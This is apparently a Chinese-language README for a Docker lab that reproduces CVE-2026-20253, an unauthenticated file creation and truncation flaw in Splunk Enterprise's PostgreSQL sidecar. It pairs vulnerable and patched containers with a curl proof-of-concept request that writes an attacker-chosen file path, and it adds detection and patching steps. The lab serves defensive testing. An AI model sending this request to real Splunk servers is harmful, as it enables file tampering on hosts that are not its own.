通过 PostgreSQL Sidecar 进行未认证的任意文件创建与截断
CVSS 9.8 · 严重 · CWE-306 · 已被积极利用(CISA KEV)
本仓库严格用于教育和经授权的安全研究目的。
所有测试必须针对你拥有或已获得明确书面授权进行测试的基础设施执行。
作者对滥用此处演示的技术或工具不承担任何责任。
切勿针对生产系统或你不拥有的环境运行此内容。
CVE-2026-20253 影响低于 10.2.4 和 10.0.7 的 Splunk Enterprise 版本。
Splunk 随附的 PostgreSQL sidecar 服务暴露了两个内部 HTTP 端点:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
这两个端点均缺少任何认证检查(CWE-306),这意味着任何网络可达的攻击者都可在没有凭据的情况下调用它们。通过提供攻击者控制的 backupFile 参数,未认证用户可以在 Splunk 主机文件系统上创建或截断任意文件 — 研究人员已将该原语串联利用,实现完整的预认证远程代码执行。
| 属性 | 详情 |
|---|---|
| CVE | CVE-2026-20253 |
| CVSS 评分 | 9.8(严重) |
| CWE | CWE-306 — 关键功能缺少认证 |
| 受影响版本 | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| 修复版本 | 10.0.7, 10.2.4 |
| CISA KEV | 添加于 2026 年 6 月 18 日 |
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curl 的 Linux 主机docker compose -f docker-compose.yml up -d --build
等待约 90 秒,让 Splunk 完全初始化。使用以下命令跟踪进度:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Splunk Web UI → http://localhost:8000
凭据:admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Splunk Web UI → http://localhost:8001
凭据:admin / changeme
两个容器可以并行运行 — 端口已错开以避免冲突。
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
预期:400 — 端点存在,未强制实施认证,请求已被处理。
验证容器内已创建该文件:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
预期:401 — 现已强制实施认证,请求被拒绝。
| HTTP 状态码 | 含义 |
|---|---|
400 |
watchTowr Labs 团队发布了一个检测脚本,可自动执行上述检查:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
立即更新到已修复版本:
| 分支 | 修复版本 |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
如果无法立即修补,请在 server.conf 中添加以下内容以禁用 PostgreSQL sidecar,然后重启 Splunk:
[postgres]
disabled = true
⚠️ 如果你正在运行 Edge Processor 或 SPL2 数据管道,请勿禁用 sidecar — 这些功能需要它。
本实验环境仅供防御性安全研究与教育使用。
根据《计算机欺诈与滥用法》(CFAA)、英国《计算机滥用法》以及全球同等法律,未经授权访问计算机系统属于违法行为。
请负责任地使用。
| 存在漏洞 — 端点可访问,无认证检查 |
401 | 已修复 — 已强制实施认证 |
404 | Sidecar 不存在 / 路径错误 |
000 | 容器尚未就绪 |